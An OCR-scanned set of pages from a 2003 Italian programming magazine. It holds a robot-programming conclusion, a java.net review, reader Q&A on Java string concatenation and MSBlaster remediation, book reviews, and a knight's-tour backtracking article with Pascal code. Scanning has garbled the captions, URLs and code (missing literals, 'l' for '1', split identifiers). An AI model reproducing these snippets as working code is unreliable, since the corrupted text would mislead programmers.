4. Impartire i comandi voluti tramite scrittura 
in memoria condivisa mantenuta dagli 
oggetti RCRegion. 

Ovviamente la fase 4 può essere, più o meno, com- 
plicata e può spaziare dalla semplice accensione di 
un LED al movimento di quattro zampe tramite 
spline o inverse kinematics, ma l'importante è 
sapere che la struttura da assegnare al nostro codice 
può seguire una strada ben precisa, indipendente- 
mente dalla complessità che si desidera impiegare. 



CONCLUSIONI 

Come avete visto si tratta di un mondo affascinante 
per tanti versi, nel quale si possono riscontrare ele- 
menti nuovi (l'uso di un robot) con altri già noti (l'u- 
tilizzo di un linguaggio universale come C++). 
Probabilmente la maggior parte dei lettori di questo 
articolo non avrà mai a disposizione un vero AIBO 
sul quale effettuare le prove, tuttavia è importante 
cogliere lo spirito di queste cose, e cioè la capacità di 
apprendimento di nuove tecniche di programma- 
zione, di nuove librerie software e di adattamento di 
tecniche già conosciute a nuove situazioni che si 
possono presentare durante la nostra attività di pro- 
grammatori. Queste cose serviranno certamente a 
tutti. 
Alla prossima! 

Alfredo Marroccelli 



► 124/ Dicembre 2003 



http://www.ioprogrammo.it 



http://java.net/ T IL SITO DEL MESE 



Il suo punto di forza? Una grande comunità di sviluppatori 



java.net 

The Source for Java Technology Collaboration. 



Uno dei punti di forza di Java 
risiede nella grande comunità 
di sviluppatori che è al suo 
seguito. Tempo fa, si è stimato che il 
numero degli sviluppatori a lavoro con 
Java abbia raggiunto e superato quello 
di un altro gigante del settore, C++. 
Insomma, per quanto si possa reputare 
attendibile o meno una statistica del 
genere, il fatto che Java sia un linguaggio 
arcinoto non è argomento contestabile. 
Java, fondamentalmente, è arrivato al 
posto giusto nel momento giusto, giac- 
ché risponde ade- 
guatamente a molte 
problematiche dei 
giorni d'oggi. Con 
Java è facile fare cose 
che con C++ sono 
assai più complesse. 
Si pensi al multith- 
reading e alla sincro- 
nizzazione delle 
sezioni critiche, o al 
networking, o all'uso 
dei database. Conta 
molto anche la por- 
tabilità: spesso e 
volentieri è difficile e 
noioso fare il porting di un programma 
C++ da una piattaforma all'altra, per via 
delle differenti chiamate di sistema, al 
quale C++ è indissolubilmente legato 
anche per operazioni piuttosto elemen- 
tari. Certo, Java ha prestazioni netta- 
mente inferiori, ed infatti non è adatto 
sempre e comunque ad ogni tipo di pro- 
getto. Ci sono molti ambiti, però, dove le 
prestazioni finiscono in secondo piano 
rispetto alla portabilità e alla semplicità 
di sviluppo e manutenzione del codice. I 
processori sempre più potenti, insieme 
alle macchine virtuali sempre più pre- 
stanti, rendono inoltre il problema delle 
prestazioni più sottile con il trascorrere 
del tempo. Uno degli aspetti più affasci- 



nanti di Java sta proprio nella grande 
comunità di sviluppatori che vi orbita 
intorno. I programmatori Java, di 
norma, non si chiudono in se stessi, ma 
traggono beneficio dall'utilizzo delle 
tante comunità virtuali presenti in rete, 
sotto innumerevoli forme. Vi serve un 
aiuto per scrivere un software? In rete 
troverete certamente chi è disposto a 
darvi una mano. 

Già una volta, in questa rubrica, ho pre- 
sentato una delle più importanti comu- 
nità di sviluppatori Java, jGuru 



java.net The Source for |ava- Technology Co 



Community 



Java Today 

Most A dive Comi riuniti e s 

-Java Desktop 
JAIN 

JavaJar 

Java Patte rns 

Javapedla 

JaraWebServicef 5r:.j>;r" 

Jini 

JÌOA 

■■::>:■■■;:; - 

OSS/J 



Welcome tojava.net! 

'■.. ■. ■■'■ ■..'■:■■' .-. .....: . ■ ■■■■. : .:■.:■ 

developers and Java tedino: uate the next "big 

■viheryour project is industry speeifìe ■ ■■ community is the 

■ ■:■. . .■ .: ■■..'■■■■■ ■■.-■■■■■ ■ ■ ..■■.-..■.■:■■. 



SEaa 



This Week in Java Today 






■eekcla'ytorfresr 
in Java Today we deButwith e* 
repoits from the conferente. Ir 
ìth Ken Arnold in "Deslgning a: 
s of XML Deino. usedto 




{http://www.jguru. comi) . Ultimamente, 
la lista delle comunità di Java si è arric- 
chita con una nuova entrata di grande 
prestigio, mantenuta direttamente da 
Sun Microsystems. 

Digitando http:lljava.net/ nella barra 
degli indirizzi del vostro browser, vi 
ritroverete su java.net, l'ultimo parto di 
Sun per il suo prodotto di punta. 
Sostanzialmente, il sito si presenta come 
un portale verso le comunità di svilup- 
patori Java. Al suo interno troverete l'e- 
lenco di gran parte delle comunità Java 
presenti al mondo. Se ne mantenete 
una, naturalmente, potrete aggiungerla 
alla lista. I servizi offerti da java.net, ad 
ogni modo, non si fermano qui. Potrete 



iniziare a costruire la vostra comunità da 
zero, direttamente sfruttando gli stru- 
menti di organizzazione e gestione dello 
spazio offerti dal sito. Su java.net potre- 
te ospitare e diffondere i vostri progetti 
software. Non mancano i forum, i blog 
tematici, le mailing list e tutti gli irrinun- 
ciabili servizi di questo genere. Inoltre, 
le diverse sezioni del portale raccolgono 
informazioni e novità sul mondo di Java. 
Per partecipare attivamente alle iniziati- 
ve del sito è necessario registrarsi ed 
ottenere uno username, operazione 
naturalmente gratuita. 
Potrete così gestire la 
vostra scheda, segnalan- 
do i vostri progetti e le 
vostre comunità. Me- 
diante il vostro userna- 
me, inoltre, potrete par- 
tecipare ad ogni iniziati- 
va pubblicizzata nel sito. 
Non mancano neanche 
le classiche recensioni, 
le presentazioni degli 
eventi, le interviste alle 
personalità di rilievo del 
settore e così via. Il por- 
tale, essendo gestito di- 
rettamente da Sun Microsystems, gode 
già di ampia popolarità, nonostante i 
pochi giorni di attività. Al momento, si 
contano diverse migliaia di utenti e 
qualche centinaio di progetti ospitati. 
Ovviamente, è lecito credere che questo 
sia solo l'inizio di un portale destinato a 
decollare, per diventare presto punto di 
riferimento per gran parte degli svilup- 
patori Java. Il sito è ben fatto, ci si naviga 
bene e non ci si perde mai. L'aspetto è 
gradevole e rispetta i classici canoni ai 
quali siamo stati abituati dal reparto 
Web di Sun. 
Se lavorate quotidianamente con Java, vi 

consiglio di tenerlo d'occhio. 

Carlo Pelliccia 



project at Sun that I spend 

days is calleci Jackpot. A 

it's a ira in e work Tot building 

re facto ring, lini cnecking, 
system analysls, . and a 
broaa rango of largo systerr 
manipuiations It's neon 
gettiiìg really interestlng 
-James Oosllng 

» Sue ali 
Retateti Links 



Community Meeting 

Tuesday.-June 10 



http://www.ioprogrammo.it 



Dicembre 2003/125 ► 



Le risposte alle domande dei lettori H T INBOX 




I IVI Box 

L f esperto r 



esperto risponde... 



Esercizi in Java 



Egregio sig. Paolo Perrotta, 
complimentandomi per i suoi articoli 
"Java da zero", desidero porle la 
seguante domanda, in merito 
all'esercizio 6 della "puntata" Dalla 'a' 
alla 'z': Come convertire un tipo char in 
String, per poter comporre una stringa 
di più' char? Ecco il codice: 

String TempS = Temp + 

(String)(dueLettere[Q]) + 

(String)(dueLettere[l]); 

qui ho provato a forzare la conversione 
in string, ma il compilatore afferma che 
i tipi non sono convertibili... se cerco di 
aggregare i due chars senza convertire, 
mi dice invece che trova un INT (ma 
dove lo vedrà' mai??) e vuole invece 
una stringa... Come posso ovviare a 
questo problema? 

Via e-mail 

Risponde Paolo Perrotta. 
Il problema nasce dal fatto che il com- 
pilatore si trova davanti ad tre char. Il char 
è concettualmente "vicino" ad un int (in 
effetti è rappresentato internamente con il 
codice Unicode del carattere, che è un 
intero). Quando usi l'operatore '+' con dei 
char, fava interpreta il simbolo come un 
operatore di addizione e cerca di conver- 
tire i char in int. Ad esempio: 

System. out.println('a' + 'b'); 

Questa istruzione stampa il numero 195, 
che sarebbe la somma dei codici Unicode 
del carattere 'a' e del carattere 'b' (rispetti- 
vamente 97 e 98). Questa "matematica dei 
caratteri" è spesso utile durante la pro- 
grammazione. 

Ad esempio, è facile chiedere qual è la de- 
cima lettera dell'alfabeto: 

System. out.println((char)('a' + 9)); 

(In questo caso ho riconvertito l'intero in 
char perché voglio stampare il carattere, 



non il suo codice). Quindi, se non gli dici 
niente, Java cerca di convertire un char in 
un int in presenza di operatori aritmetici. 
Naturalmente in questo caso non abbia- 
mo un operatore aritmetico, ma una con- 
catenazione. Purtroppo Java non può 
saperlo. Dobbiamo farglielo capire preci- 
sando che gli operandi non sono roba che 
si possa sommare, ma piuttosto roba che 
si può concatenare (stringhe). 
Esistono diversi modi per convertire dei 
caratteri in stringhe, ma nel tuo caso il mo- 
do più semplice (anche se forse non il più 
elegante) è aggiungere una semplice strin- 
ga vuota all'inizio dell'espressione: 



String TempS 



+ Temp + dueLettere[0] 

+ dueLettere[l]; 



Ora l'intera espressione inizia con una 
stringa, anche se si tratta di una stringa 
vuota. Appena vede la stringa il compila- 
tore capisce che il segno che la segue non 
può essere un operatore di addizione, ma 
deve essere per forza un operatore di 
concatenazione. Quindi converte in 
stringa l'operando successivo, concatena 
le due stringhe in una nuova stringa e va 
avanti così fino a quando non ha termina- 
to di risolvere l'espressione. Esistono altri 
modi. 

Ma implicano che tu conosca il concetto 
di metodo, che spiegherò durante i 
prossimi mesi. Quindi per ora ti consiglio 
di usare questo, che comunque è anche il 
più sintetico. 



Fatti e misfatti di RPC 

Salve, nel numero di ottobre, ho letto 
con molto interesse l'articolo di Elia 
Florio "Fatti e misfatti di RPC". 
Purtroppo oltre l'interesse non sono 
riuscito ad andare, nel senso che non ho 
nessuna dimestichezza con gli 
argomenti trattati. Tuttavia il mio 
sistema (XP Home) è afflitto da qualche 
settimana da un arresto di sistema 
iniziato da NT Authority System così 
come viene anche illustrato da voi. Ora 



mi chiedevo se posso fare qualcosa per 
risolvere questo problema che mi 
affligge la maggior parte delle volte che 
mi collego in rete. 
Grazie 

Emilio Albano 

Risponde Elia Florio. 

La rubrica degli "exploit" si rivolge in 
genere agli esperti di sicurezza, che 
conoscono le problematiche dei buffer 
overflow e dei bug scoperti ogni giorno nei 
software. Tuttavia, anche senza approfon- 
dire il codice, gli articoli di questa rubrica 
sono spesso interessanti da leggere, come 
nel tuo caso. 

Il problema da te riscontrato è dovuto al 
rm "MSBlaster" (anche conosciuto come 
LovSan). In pratica quando ti connetti ad 
Internet il tuo PC viene attaccato da 
qualche altro host infetto (connesso allo 
stesso provider) e riceve un pacchetto RPC 
malformato, in grado di causare il riavvio 
forzato. 
Per rimuovere il problema devi : 

• aggiornare il tuo sistema WindowsXP 
con la patch http://www.microsoft. 
com/downloadsldetails.aspx?di- 
splaylang=it&FamilyID=2354406 
C-C5B6-44AC-9532-3DE40F69C0 
74 oppure usando l'utility "win- 
dowsupdate. com" 

• rimuovere il worm dal tuo sistema 
usando l'utility http:llsecurityresponse. 
symantec.com/avcenterlvencldatal 
w32. Master, worm. removal. tool.html 

• proteggere la porta 135 del tuo PC con 
un personal firewall tipo ZoneAlarm o 
Norton Internet Security. 



PER CONTATTARCI 

e-mail: iopinbox@edmaster.it 

Posta: Edizioni Master, 

Via Cesare Correnti, 1 ■ 20123 Milano 



http://www.ioprogrammo.it 



Dicembre 2003/127 ► 



BIBLIOTECA T 



I migliori testi scelti dalla redazione 



ON LINE 



Biblioteca 



JAVABLE 

Un sito per essere sempre 
aggiornati sull'evolversi del 
mondo Java: news, articoli, 
forum, tutorial, file e tool 
per il linguaggio creato da 
SUN. 



i Magi ne SS?,™"* 



www.javable.com 



JAVA 2 SDK 1.4 - GUIDA COMPLETA 

Un ottimo testo per imparare le basi della programmazione Java; il 
volume presenta le tecniche di programmazione, i concetti e le meto- 
dologie per lo sviluppo d'applicazioni Java adottando l'SDK 1.4. 
I numerosi esempi che accompagnano il testo, forniscono al lettore la 
possibilità di mettere subito in pratica quanto appreso nei diversi capi- 
toli, dalla gestione degli oggetti, liste, operatori, classi e metodi, alla 
gestione delle applet e all'interazione con strutture dati XML. Il CD- 
Rom che accompagna il libro contiene il codice degli esempi trattati 
nel testo, il Sun Java Software Development Kit 1.4 e altro materiale 
trial. 

Difficoltà: Medio-alta • Autore: R.Cadenhead - LLemay • Editore: Apogeo 
http://www.apogeonline.com • ISBN: 88-503-2128-7 • Anno di pubblicazione: 2003 
Lingua: Italiana • Pagine: 645 • Prezzo: € 49,00 • Contiene 1 Cd-Rom 




UML COMPONEIUTS 



VB2THEMAX 

Semplicemente uno dei più 
grandi repository delle 
risorse online su Visual 



l£m 







http://www.vb2themax.com 



DELPHIZiniE.COM 

Un completo WebZine 
dedicato al linguaggio di 
casa Borland: Delphi. 
Articolo, faq, tips e 
quant'altro necessario al 
programmatore Delphi. 
http://www.delphizine.com/ 



Smart Solutions hHM?v 

'.net 

Junk Mail ^ ' 




Gli sviluppatori che usano tecnologie COM+ ed Enterprise JavaBeans, 
devono essere in grado di definire ed esprimere le specifiche dei loro 
componenti. Lo Unified Modeling Language (UML) permette di farlo 
indipendentemente dal fatto che i componenti siano implementati 
internamente usando una tecnologia ad oggetti. Si rende necessario, 
però, anche un semplice processo che assicuri la corrispondenza tra 
le specifiche e i requisiti. Il libro è focalizzato sulla specifica delle 
caratteristiche esterne dei componenti e sulle interdipendenze, piut- 
tosto che sull'implementazione interna. Le specifiche dei componen- 
ti sono illustrate da numerosi diagrammi UML, e un caso pilota det- 
tagliato mostra, nella pratica, i concetti e le tecniche più importanti. 
Gli architetti di sistema, i progettisti, i programmatori e gli addetti al 
testing che sono interessati a sfruttare i vantaggi offerti da UML trove- 
ranno in questo libro una guida concisa, pratica e ricca di idee. 

Difficoltà: Alta • Autore: J.Cheesman - J. Daniels • Editore: Addison-Wesley 

http://www.addison.it • ISBN: 88-7192-129-1 • Anno di pubblicazione: 2002 

Lingua: Italiana • Pagine: 167 • Prezzo: € 24,80 



BEGMiniiniG JAVA OBJECTS: 
FROM COIUCEPTS TO CODE 




B eginn ing 
Java Objects: 

f«m Ccnctt ti <o Cffo* 



ar 



Tra le caratteristiche più apprezzate del linguaggio di programmazio- 
ne Java, sicuramente spicca la sua natura orientata agli oggetti per lo 
sviluppo d'applicazioni cross platform. Un'applicazione Java proget- 
tata per ambiente Windows, se progettata in modo consapevole, facil- 
mente sarà in grado di "girare" in ambienti Linux e viceversa. Tutto 
ciò prevede che lo sviluppatore abbia una certa familiarità con i Java 
Objects; il testo si pone come un'utile guida all'apprendimento di tali 
concetti, fornendo al lettore tutti gli strumenti affinché lo stesso possa 
imparare ad utilizzare efficientemente gli oggetti in Java, utilizzando 
un linguaggio chiaro e conciso e, in alcuni contesti, appoggiandosi 
all'UML per meglio esplicare taluni concetti. 

Difficoltà: Media-Alta • Autore: J.Barker • Editore: Apress http://www.apress.com 
ISBN: 1-59059-146-1 • Anno di pubblicazione: 2003 • Lingua: Inglese • Pagine: 688 
Prezzo: $ 44.99 



► 128/Dicembre 2003 



http://www.ioprogrammo.it 



Alla ricerca dell'algoritmo esatto I ▼ L'ENIGMA DI IOPROGRAMMO 



Algoritmi per 

"il giro di cavallo" 

Vi ^^ di Fabio Grimaldi 

Esaminiamo il problema conosciuto come giro di cavallo 
approfondendo una prima soluzione; ed intorno ai risultati apriamo 
una discussione. 



Nel breve articolo di presentazione della neo- 
nata sezione di ioProgrammo, nel numero 
scorso, ci eravamo lasciati indicando due 
distinte strade per la soluzione del problema. La 
prima prevedeva l'attuazione del backtracking, 
mentre la seconda più auspicabile proponeva al 
nostro cavallo l'individuazione di un percorso, 
mediante precise regole di spostamento. Facciamo 
un piccolo passo indietro per dare la possibilità a 
chi ha dimenticato di passare in edicola il mese 
scorso, di capire cosa stiamo scrivendo. Il problema 
del giro di cavallo appartiene alla vasta casistica di 
giochi su scacchiera. Si pone un cavallo in una qual- 
siasi casa della scacchiera, per semplificare si può 
pensare ad uno dei quattro vertici. Successivamen- 
te, si muove il cavallo, ovviamente secondo le rego- 
le degli scacchi, quindi ad L, sulle 64 caselle della 
scacchiere senza che ognuna di esse sia toccata più 
di una volta. Qualora nell'ultima mossa si arrivi alla 
casella iniziale si ha la variante di giro di cavallo 
chiuso. 



SOLUZIONE 
BACKTRACKING 

Una prima possibilità è il backtracking. Si tratta di 
una metodologia a cui facciamo spesso ricorso, che 
ci garantisce risultato, qualora ci sia. Certo non si 
può dire che sia molto efficiente. A dire il vero la mia 
prima decisione era quella di trattare superficial- 
mente tale soluzione ed esplorare altre possibilità 
magari più proficue, con il risultato che non avrem- 
mo affrontato in maniera decente alcunché. Così, 
sulla base del notevole interesse che ha suscitato in 
me e che spero susciterà in voi, ho rispolverato 
compilatore pascal e ho implementato una mia 
soluzione. Ripeto, il programma completo presenta- 
to di seguito non è una soluzione efficiente, come 
spesso accade quando si una il backtracking, ma ha 
il pregio di chiarire alcuni importanti punti nodali 



del problema e fornisce un ottimo punto di parten- 
za per ulteriori analisi e per lo sviluppo di altri algo- 
ritmi; a tale proposito è consigliata una attenta ana- 
lisi del codice prodotto. Il backtracking come ormai 
sarà noto è una tecnica che a fronte di un problema 
esplora tutte le possibilità fin quando non si pervie- 
ne ad una soluzione. Si intuisce che proprio perché 
si attua una ricerca esaustiva si possono raggiungere 
tempi computazionali non accettabili. Per capire in 
poche battute il metodo si associa la ricerca della 
soluzione al percorso su un albero. I nodi indicano 
possibili soluzioni fin quando si raggiunge una foglia 
che definisce una soluzione cercata. La ricerca della 
soluzione si attua percorrendo in profondità l'albe- 
ro. Se si arriva ad una foglia che non è soluzione, 
allora si deve percorre a ritroso l'albero, e a partire 
dal nodo padre si devono esplorare nuove soluzioni. 
L'implementazione si ottiene con l'uso di una pila su 
cui le operazioni di push indicano un nuovo salto del 
cavallo, mentre le pop specificano il percorso a ritro- 
so con il quale si ricercano nuove soluzioni. Per con- 
cretizzare il metodo bisogna definire i movimenti 
base del cavallo (nel caso migliore sono otto) e intra- 
prendere il percorso da una qualsiasi cella. L'equino 
nella generica casella tenterà il successivo salto pro- 
vando nell'ordine (in senso orario a partire da incre- 
mento di x di due e decremento di y di 1) le otto dire- 
zioni, la prima che risulta 
valida viene convalidata 
e percorsa, tale operazio- 
ne equivale ad una push. 
Se non vi sono caselle 
disponibili si torna indie- 
tro di un passo, operazio- 
ne di pop, e si esplorano 
le direzioni che risultava- 
no inesplorate (informa- 
zione memorizzata con 
la push), se ve ne è una 
disponibile si prosegue 
sempre con push, altri- 





Uno degli scopi di 
questa sezione è 
quello di dare la 
possibilità ai lettori di 
discutere e 
confrontare i propri 
studi e le proprie 
implementazioni. 
A tale proposito su 
www.ioprogrammo.ne 
t nella sezione forum 
vi è una discussione 
apposita sul tema 
dove tra 

programmatori sarà 
possibile scambiare le 
proprie opinioni sul 
tema. 





— > 56 <— < 61 > . . 


elaborazione - 




54 37 52 31 


34 3 10 




38 51 32 35 2 


11 6 13 




55 36 53 30 33 


14 9 4 




39 50 1 28 


5 12 7 


1 


56 29 46 41 


8 15 24 


44 49 40 27 


23 18 21 




45 42 47 


20 25 16 




43 48 26 


17 22 19 




— > 57 <— < 65 > . . 


elaborazione - 




37 52 31 


34 3 10 




3B 51 32 35 2 


11 6 13 




55 36 53 30 33 


14 9 4 




50 39 56 1 28 


5 12 7 




57 54 29 46 41 


8 15 24 




44 49 40 27 


23 18 21 




58 45 42 47 


20 25 16 




43 48 59 26 


17 22 19 




— > 60 <— < 111 > . 


. elaborazione - 




52 37 54 31 


34 3 1B 




38 55 32 35 2 


11 6 13 




51 36 53 30 33 


14 9 4 




56 39 58 1 28 


5 12 7 




59 50 29 46 41 


8 15 24 




44 57 40 27 


23 18 21 




49 60 45 42 47 


20 25 16 




43 48 61 26 


17 22 19 




— > 62 <— < 255 > . 


. elaborazione - 









Fig. 1: Output. Soluzione finale e parziali. 



http://www.ioprogrammo.it 



Dicembre 2003/129 ► 



L'ENIGMA DI IOPROGRAMMO T 



Alla ricerca dell'algoritmo esatto 





Fig. 2: A voi l'onere di 
trovare un algoritmo che 
risolva il problema. 



FILONI DI 
APPROFONDIMENTO 

L'enigma affrontato 
abbraccia molti ambiti, 
ad esempio, ha una for- 
tissima valenza storica 
se si pensa che i primi 
studi risalgono a tempi 
in cui il computer non 
veniva immaginato 
neanche dalle più fan- 
tasiose menti. Anche se 
come giro di cavallo 
appare per la prima 
volta nel 1902 in una 
rivista inglese a cura di 
Murray, già intorno al 
lontano 840 furono 
ritrovate mappe di 
numeri, compiute dagli 
arabi Mani e Rhumi, 
che risolvono il proble- 
ma. Sorprendente è 
l'interesse dimostrato 
da conosciuti studiosi 
verso la questione, 
Eulero (Léonard Euler) è 
il più lucido esempio. 
Ma oltre alla storia, 
motivi di approfondi- 
mento sono sicuramen- 
te i programmi per 
computer che traduco- 
no algoritmi solutori e 
gli studi fatti diretta- 
mente su scacchiera. 



menti ancora a ritroso con pop e così si generalizza 
il procedimento. Adesso risulta più chiaro il paralle- 
lo con l'albero, vero? Implementiamo. 



IL CODICE 

Per motivi legati allo spazio a nostra disposizione il 
codice è stato linkato sul Web all'indirizzo 
www. ioprogrammo. iti enigma. 
La pila mantiene nell'ordine, per ogni nodo, le posi- 
zioni occupate dal cavallo e la direzione intrapresa. 
Campo è la matrice che rappresenta la scacchiera. 
Man mano che il cavallo percorre il suo giro sulla 
matrice vengono numerate le caselle calpestate 
(ovviamente, 1 è il primo passo, 2 il secondo e così 
via). Le due variabili s e cicli contengono, rispetti- 
vamente, il numero di case calpestate {step) fino a 
quel momento, e il numero di cicli (più precisa- 
mente il numero di push, quindi di salti). Con la 
seconda di queste variabili possiamo fare una valu- 
tazione quantitativa dell'algoritmo e delle scelte 
riguardanti il settaggio di alcuni paramentri. Le 
funzioni sono riportate nel codice proposto sul 
Web. 

Oltre alle funzioni legate all'uso della pila (is_em- 
plty, push, pop, top), vi sono quelle specifiche; con 
muovi si tenta un nuovo salto. L'ordine delle dire- 
zioni di salto è numerato. Azzera serve per prepa- 
rare la matrice, mentre visual fornisce l'output (è 
usato anche parziale). 

Infine, vi è il programma principale in cui si attua il 
backtracking. La push viene richiamata quando vi 
sono possibilità di mosse, altrimenti si invoca pop. 

Begin { Principale } 

pi la : = nil ; { inizialmente lo stack _ vuoto } 

azzera(campo); 

cicli : = 0; 

writeln('dammi le coordinate di partenza'); 

{ La rana viene paracadutata } 

write(' x-> '); 

readln(i); 

write(' y-> '); 

readln(j); 

s: = l; { contatore dei macro passi "step" compiuti } 

coo.x: = i; 

coo.y:=j; 

coo.d: = l; { inizializzazione delle coordinate } 

push(coo,pila); 

campo[coo.x,coo.y]:=s; 

massimo:=salti-10; 

repeat 

while muovi(campo,coo) do 

begin 
cicli :=cicli+l; 
push(coo,pila); 
s:=s+l; 



campo[coo.x,coo.y] : =s; 
coo.d: = l; 
end; 
if s<salti then 

if not(is_empty(pila)) then 

begin 

pop(pila,coo); 
dir:=coo.d+l; 

campo[coo.x,coo.y]: = 0; 

top(pila,coo); 
coo.d:=dir; 
if s>massimo then 
begin massimo: =s; 
visual(campo); 
writeln(' .. elaborazione -') 
end; 
s:=s-l; 
end; 
until (is_empty(pila)) or (s>salti-l); 
if s=salti then visual(campo) 

else wrìte ('Non ci sono soluzioni'); 



End. 



L'output del programma è rappresentato in Fig. 2, a 
fronte della partenza dalla casa 4,4 (gli scacchisti 
avrebbero detto d4). È sorprendente notare che il 
numero di push è stratosferico, infatti, sono oltre 22 
milioni. 

Analizzando le soluzioni parziali si nota come la 
ricerca a ritroso di nuove soluzioni è spesso faticosa; 
ad esempio nella ricerca dell'ultima casa l'algoritmo 
ha percorso a ritroso le soluzioni fino alla 33, ed ha 
poi, per tentativi, ricostruito un nuovo cammino. 
Cambiando l'ordine delle direzioni si possono otte- 
nere risultati migliori. 



CONCLUSIONI 

Sinceramente non pensavo ci fosse un simile fer- 
mento circa questo problema. Esplorando in rete ho 
individuato tanti siti che affrontano l'enigma. La 
ragione di questo interesse è forse dovuta al fatto 
che oltre ad essere un rompicapo affascinante e con 
un alone di mistero, coinvolge differenti figure, 
come il programmatore, lo scacchista e lo studioso 
in generale. Inoltre, come è emerso la questione può 
essere affrontata da diversi punti di vista da quello 
storico -artistico al più vicino a noi di programma- 
zione. 

Nella prossima puntata concluderemo su cartaceo 
il presente problema visionando soluzioni più effi- 
cienti, sperando che possa proseguire la sua vita 
(intesa come discussione, nel forum di www. iopro- 
grammo.net), e introdurremo un nuovo problema. 
Comincio già da adesso la ricerca di qualcosa di suc- 
culento che possa soddisfare i palati più esigenti. 
Alla prossima!! 



► 130/Dicembre 2003 



http://www.ioprogrammo.it